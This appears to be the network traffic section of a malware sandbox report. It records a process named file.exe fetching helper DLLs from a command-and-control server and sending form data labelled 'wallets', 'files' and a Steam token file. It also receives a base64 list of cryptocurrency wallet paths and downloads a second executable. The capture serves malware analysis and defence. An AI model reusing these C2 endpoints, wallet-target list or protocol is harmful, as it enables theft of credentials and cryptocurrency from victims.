00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Nov 13, 2024 14:41:33.745038986 CET	95	OUT	GET /68b591d6548ec281/msvcp140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 13, 2024 14:41:34.030215025 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 13:41:33 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Nov 13, 2024 14:41:34.516977072 CET	91	OUT	GET /68b591d6548ec281/nss3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 13, 2024 14:41:34.910548925 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 13:41:34 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Nov 13, 2024 14:41:36.062580109 CET	95	OUT	GET /68b591d6548ec281/softokn3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 13, 2024 14:41:36.348196983 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 13:41:36 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Nov 13, 2024 14:41:36.529927015 CET	99	OUT	GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 13, 2024 14:41:36.821456909 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 13:41:36 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Nov 13, 2024 14:41:37.483858109 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CFIEHCFIECBGCBFHIJJK Host: 185.215.113.206 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Nov 13, 2024 14:41:38.274581909 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 13:41:37 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 13, 2024 14:41:38.411701918 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GCGDGHCBGDHJJKECAECB Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 43 47 44 47 48 43 42 47 44 48 4a 4a 4b 45 43 41 45 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 62 31 37 66 34 37 64 38 64 64 33 66 34 66 33 61 36 35 30 37 62 62 34 63 36 36 30 65 36 32 37 35 35 62 37 64 30 64 36 31 38 64 38 66 32 38 62 66 39 32 37 63 30 33 36 36 39 37 39 35 62 36 31 36 31 37 66 35 38 34 66 0d 0a 2d 2d 2d 2d 2d 2d 47 43 47 44 47 48 43 42 47 44 48 4a 4a 4b 45 43 41 45 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 47 43 47 44 47 48 43 42 47 44 48 4a 4a 4b 45 43 41 45 43 42 2d 2d 0d 0a Data Ascii: ------GCGDGHCBGDHJJKECAECBContent-Disposition: form-data; name="token"cb17f47d8dd3f4f3a6507bb4c660e62755b7d0d618d8f28bf927c03669795b61617f584f------GCGDGHCBGDHJJKECAECBContent-Disposition: form-data; name="message"wallets------GCGDGHCBGDHJJKECAECB--
Nov 13, 2024 14:41:38.711039066 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 13:41:38 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Nov 13, 2024 14:41:38.713841915 CET	467	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GDGDHJJDGHCAAAKEHIJK Host: 185.215.113.206 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 44 47 44 48 4a 4a 44 47 48 43 41 41 41 4b 45 48 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 62 31 37 66 34 37 64 38 64 64 33 66 34 66 33 61 36 35 30 37 62 62 34 63 36 36 30 65 36 32 37 35 35 62 37 64 30 64 36 31 38 64 38 66 32 38 62 66 39 32 37 63 30 33 36 36 39 37 39 35 62 36 31 36 31 37 66 35 38 34 66 0d 0a 2d 2d 2d 2d 2d 2d 47 44 47 44 48 4a 4a 44 47 48 43 41 41 41 4b 45 48 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 47 44 47 44 48 4a 4a 44 47 48 43 41 41 41 4b 45 48 49 4a 4b 2d 2d 0d 0a Data Ascii: ------GDGDHJJDGHCAAAKEHIJKContent-Disposition: form-data; name="token"cb17f47d8dd3f4f3a6507bb4c660e62755b7d0d618d8f28bf927c03669795b61617f584f------GDGDHJJDGHCAAAKEHIJKContent-Disposition: form-data; name="message"files------GDGDHJJDGHCAAAKEHIJK--
Nov 13, 2024 14:41:39.002039909 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 13:41:38 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 13, 2024 14:41:39.018099070 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FIJDGIJJKEGIEBGCGDHC Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 49 4a 44 47 49 4a 4a 4b 45 47 49 45 42 47 43 47 44 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 62 31 37 66 34 37 64 38 64 64 33 66 34 66 33 61 36 35 30 37 62 62 34 63 36 36 30 65 36 32 37 35 35 62 37 64 30 64 36 31 38 64 38 66 32 38 62 66 39 32 37 63 30 33 36 36 39 37 39 35 62 36 31 36 31 37 66 35 38 34 66 0d 0a 2d 2d 2d 2d 2d 2d 46 49 4a 44 47 49 4a 4a 4b 45 47 49 45 42 47 43 47 44 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 46 49 4a 44 47 49 4a 4a 4b 45 47 49 45 42 47 43 47 44 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------FIJDGIJJKEGIEBGCGDHCContent-Disposition: form-data; name="token"cb17f47d8dd3f4f3a6507bb4c660e62755b7d0d618d8f28bf927c03669795b61617f584f------FIJDGIJJKEGIEBGCGDHCContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------FIJDGIJJKEGIEBGCGDHCContent-Disposition: form-data; name="file"------FIJDGIJJKEGIEBGCGDHC--
Nov 13, 2024 14:41:39.804423094 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 13:41:39 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=89 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 13, 2024 14:41:39.834805965 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CAKKEGDGCGDAKEBFIJEC Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 41 4b 4b 45 47 44 47 43 47 44 41 4b 45 42 46 49 4a 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 62 31 37 66 34 37 64 38 64 64 33 66 34 66 33 61 36 35 30 37 62 62 34 63 36 36 30 65 36 32 37 35 35 62 37 64 30 64 36 31 38 64 38 66 32 38 62 66 39 32 37 63 30 33 36 36 39 37 39 35 62 36 31 36 31 37 66 35 38 34 66 0d 0a 2d 2d 2d 2d 2d 2d 43 41 4b 4b 45 47 44 47 43 47 44 41 4b 45 42 46 49 4a 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 43 41 4b 4b 45 47 44 47 43 47 44 41 4b 45 42 46 49 4a 45 43 2d 2d 0d 0a Data Ascii: ------CAKKEGDGCGDAKEBFIJECContent-Disposition: form-data; name="token"cb17f47d8dd3f4f3a6507bb4c660e62755b7d0d618d8f28bf927c03669795b61617f584f------CAKKEGDGCGDAKEBFIJECContent-Disposition: form-data; name="message"ybncbhylepme------CAKKEGDGCGDAKEBFIJEC--
Nov 13, 2024 14:41:40.122992039 CET	271	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 13:41:39 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 68 Keep-Alive: timeout=5, max=88 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 61 48 52 30 63 44 6f 76 4c 7a 45 34 4e 53 34 79 4d 54 55 75 4d 54 45 7a 4c 6a 45 32 4c 32 31 70 62 6d 55 76 63 6d 46 75 5a 47 39 74 4c 6d 56 34 5a 58 77 77 66 44 42 38 55 33 52 68 63 6e 52 38 4e 58 77 3d Data Ascii: aHR0cDovLzE4NS4yMTUuMTEzLjE2L21pbmUvcmFuZG9tLmV4ZXwwfDB8U3RhcnR8NXw=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.7	49970	185.215.113.16	80	6720	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 14:41:40.132703066 CET	80	OUT	GET /mine/random.exe HTTP/1.1 Host: 185.215.113.16 Cache-Control: no-cache
Nov 13, 2024 14:41:41.043832064 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 13 Nov 2024 13:41:40 GMT Content-Type: application/octet-stream Content-Length: 3202560 Last-Modified: Wed, 13 Nov 2024 13:07:57 GMT Connection: keep-alive ETag: "6734a4ad-30de00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 ca 01 00 00 00 00 00 00 f0 30 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVf0@ 11g1@Wk080 @.rsrc@.idata @mpvuybat0$@egmtcyhv00@.taggant00"0@
Nov 13, 2024 14:41:41.043889999 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 13, 2024 14:41:41.043908119 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 13, 2024 14:41:41.043924093 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 13, 2024 14:41:41.043945074 CET	848	IN	Data Raw: 5b 9d 67 c7 63 2e 4f 0d ab 02 92 35 ac 1a 8a 57 74 5e 22 af 9e dd 23 c7 03 dd ee 93 77 84 2e 2f bb 9e 67 c7 63 4e 50 0d ab 02 72 35 ac 1a 8a b7 74 5e 22 af 7e dd 23 c7 03 dd ee 93 77 84 26 2f cb 9e 67 c7 63 fe 4b 0d ab 02 52 35 ac 1a 8a 17 75 5e Data Ascii: [gc.O5Wt^"#w./gcNPr5t^"~#w&/gcKR5u^"^#w:/gcvR25wu^">#w^/gcK5u^"#w.//gcK47v^"#w./?gc*X4v^"#wz/Sgc>Q4v^"
Nov 13, 2024 14:41:41.043968916 CET	1236	IN	Data Raw: 7e 5e 22 af 5e da 23 c7 03 dd ee 93 77 84 2e 2f 7b 9f 67 c7 63 b6 4e 0d ab 02 32 32 ac 1a 8a 77 7e 5e 22 af 3e da 23 c7 03 dd ee 93 77 84 26 2f 8b 9f 67 c7 63 96 50 0d ab 02 12 32 ac 1a 8a d7 7e 5e 22 af 1e da 23 c7 03 dd ee 93 77 84 26 2f 93 9f Data Ascii: ~^"^#w./{gcN22w~^">#w&/gcP2~^"#w&/gcU17^"#w&/gcrX1^"#w&/gc~V1^"#w*/gcM1W^"#w./gcXr1^"~#w./g
Nov 13, 2024 14:41:41.043988943 CET	1236	IN	Data Raw: 63 66 56 0d ab 02 72 2d ac 1a 8a b7 8c 5e 22 af 7e d5 23 c7 03 dd ee 93 77 84 32 2f 8b a1 67 c7 63 26 51 0d ab 02 52 2d ac 1a 8a 17 8d 5e 22 af 5e d5 23 c7 03 dd ee 93 77 84 32 2f 9f a1 67 c7 63 9a 57 0d ab 02 32 2d ac 1a 8a 77 8d 5e 22 af 3e d5 Data Ascii: cfVr-^"~#w2/gc&QR-^"^#w2/gcW2-w^">#w&/gcX-^"#w&/gc.U,7^"#wb/gcO,^"#w*/gc^R,^"#wn/gcQ,W^"#
Nov 13, 2024 14:41:41.044042110 CET	1236	IN	Data Raw: 03 dd ee 93 77 84 2a 2f ff a6 67 c7 63 26 4e 0d ab 02 92 28 ac 1a 8a 57 9b 5e 22 af 9e d0 23 c7 03 dd ee 93 77 84 36 2f 0b a6 67 c7 63 be 52 0d ab 02 72 28 ac 1a 8a b7 9b 5e 22 af 7e d0 23 c7 03 dd ee 93 77 84 56 2f 23 a6 67 c7 63 be 4f 0d ab 02 Data Ascii: w/gc&N(W^"#w6/gcRr(^"~#wV/#gcOR(^"^#w&/[gcK2(w^">#w:/cgcV(^"#w/gc^O'7^"#w*/gcR'^"#wR`" n
